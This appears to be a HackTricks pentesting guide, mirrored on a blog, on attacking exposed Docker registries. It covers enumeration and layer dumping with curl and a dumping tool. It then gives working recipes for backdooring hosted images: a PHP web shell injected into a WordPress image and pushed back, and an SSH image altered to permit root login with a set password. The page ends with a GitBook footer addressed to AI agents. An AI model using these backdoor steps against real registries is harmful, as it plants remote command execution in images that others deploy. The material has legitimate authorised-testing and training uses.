> For the complete documentation index, see [llms.txt](https://blog.1nf1n1ty.team/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.1nf1n1ty.team/hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md).

# 5000 - Pentesting Docker Registry

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/files/EX2wFQFzQGbAshe8pMtd" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/files/EX2wFQFzQGbAshe8pMtd" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/files/vDpkxwggcJNOToA5gU8r" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/files/vDpkxwggcJNOToA5gU8r" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Basic Information

A storage and distribution system known as a **Docker registry** is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within **Docker repositories** in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions.

**DockerHub** serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported **Docker Trusted Registry**. Additionally, various other public registries can be found online.

To download an image from an on-premise registry, the following command is used:

```bash
docker pull my-registry:9000/foo/bar:2.1
```

This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to:

```bash
docker pull foo/bar
```

**Default port:** 5000

```
PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
```

## Discovering

The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\
Some fingerprints:

* If you access `/` nothing is returned in the response
* If you access `/v2/` then `{}` is returned
* If you access `/v2/_catalog` you may obtain:
  * `{"repositories":["alpine","ubuntu"]}`
  * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`

## Enumeration

### HTTP/HTTPS

Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:

```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}
```

### Authentication

Docker registry may also be configured to require **authentication**:

```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```

If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](/hacktricks/generic-methodologies-and-resources/brute-force.md#docker-registry).\
**If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this:

```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```

### Enumeration using DockerRegistryGrabber

[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication)

```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

     ____   ____    ____ 
    |  _ \ |  _ \  / ___|
    | | | || |_) || |  _ 
    | |_| ||  _ < | |_| |
    |____/ |_| \_\ \____|
     Docker Registry grabber tool v2 
     by @SyzikSecu

positional arguments:
  url                URL

options:
  -h, --help         show this help message and exit
  -p port            port to use (default : 5000)

Authentication:
  -U USERNAME        Username
  -P PASSWORD        Password
  -A header          Authorization bearer token

Actions:
  --list
  --dump_all
  --dump DOCKERNAME  DockerName

Example commands:
  python drg.py http://127.0.0.1 --list
  python drg.py http://127.0.0.1 --dump my-ubuntu
  python drg.py http://127.0.0.1 --dump_all
  python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
  python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
  python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
  python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
  python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
  python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```

### Enumeration using curl

Once you **obtained access to the docker registry** here are some commands you can use to enumerate it:

```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
   "schemaVersion": 1,
   "name": "ubuntu",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
               "kty": "EC",
               "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
               "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
            },
            "alg": "ES256"
         },
         "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
      }
   ]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```

{% hint style="warning" %}
Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.
{% endhint %}

### Enumeration using docker

```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB              
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B                  
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B                  
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B                
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB       

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```

### Backdooring WordPress image

In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\
**Create** the **backdoor**:

{% code title="shell.php" %}

```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```

{% endcode %}

Create a **Dockerfile**:

{% code title="Dockerfile" %}

```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```

{% endcode %}

**Create** the new image, **check** it's created, and **push** it:

```bash
docker build -t 10.10.10.10:5000/wordpress .
 #Create
docker images
docker push registry:5000/wordpress #Push it
```

### Backdooring SSH server image

Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\
**Download** the image and **run** it:

```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```

Extract the `sshd_config` file from the SSH image:

```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```

And modify it to set: `PermitRootLogin yes`

Create a **Dockerfile** like the following one:

{% tabs %}
{% tab title="Dockerfile" %}

```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```

{% endtab %}
{% endtabs %}

**Create** the new image, **check** it's created, and **push** it:

```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
 #Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```

## References

* <https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/>

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/files/EX2wFQFzQGbAshe8pMtd" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/files/EX2wFQFzQGbAshe8pMtd" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/files/vDpkxwggcJNOToA5gU8r" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/files/vDpkxwggcJNOToA5gU8r" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.1nf1n1ty.team/hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
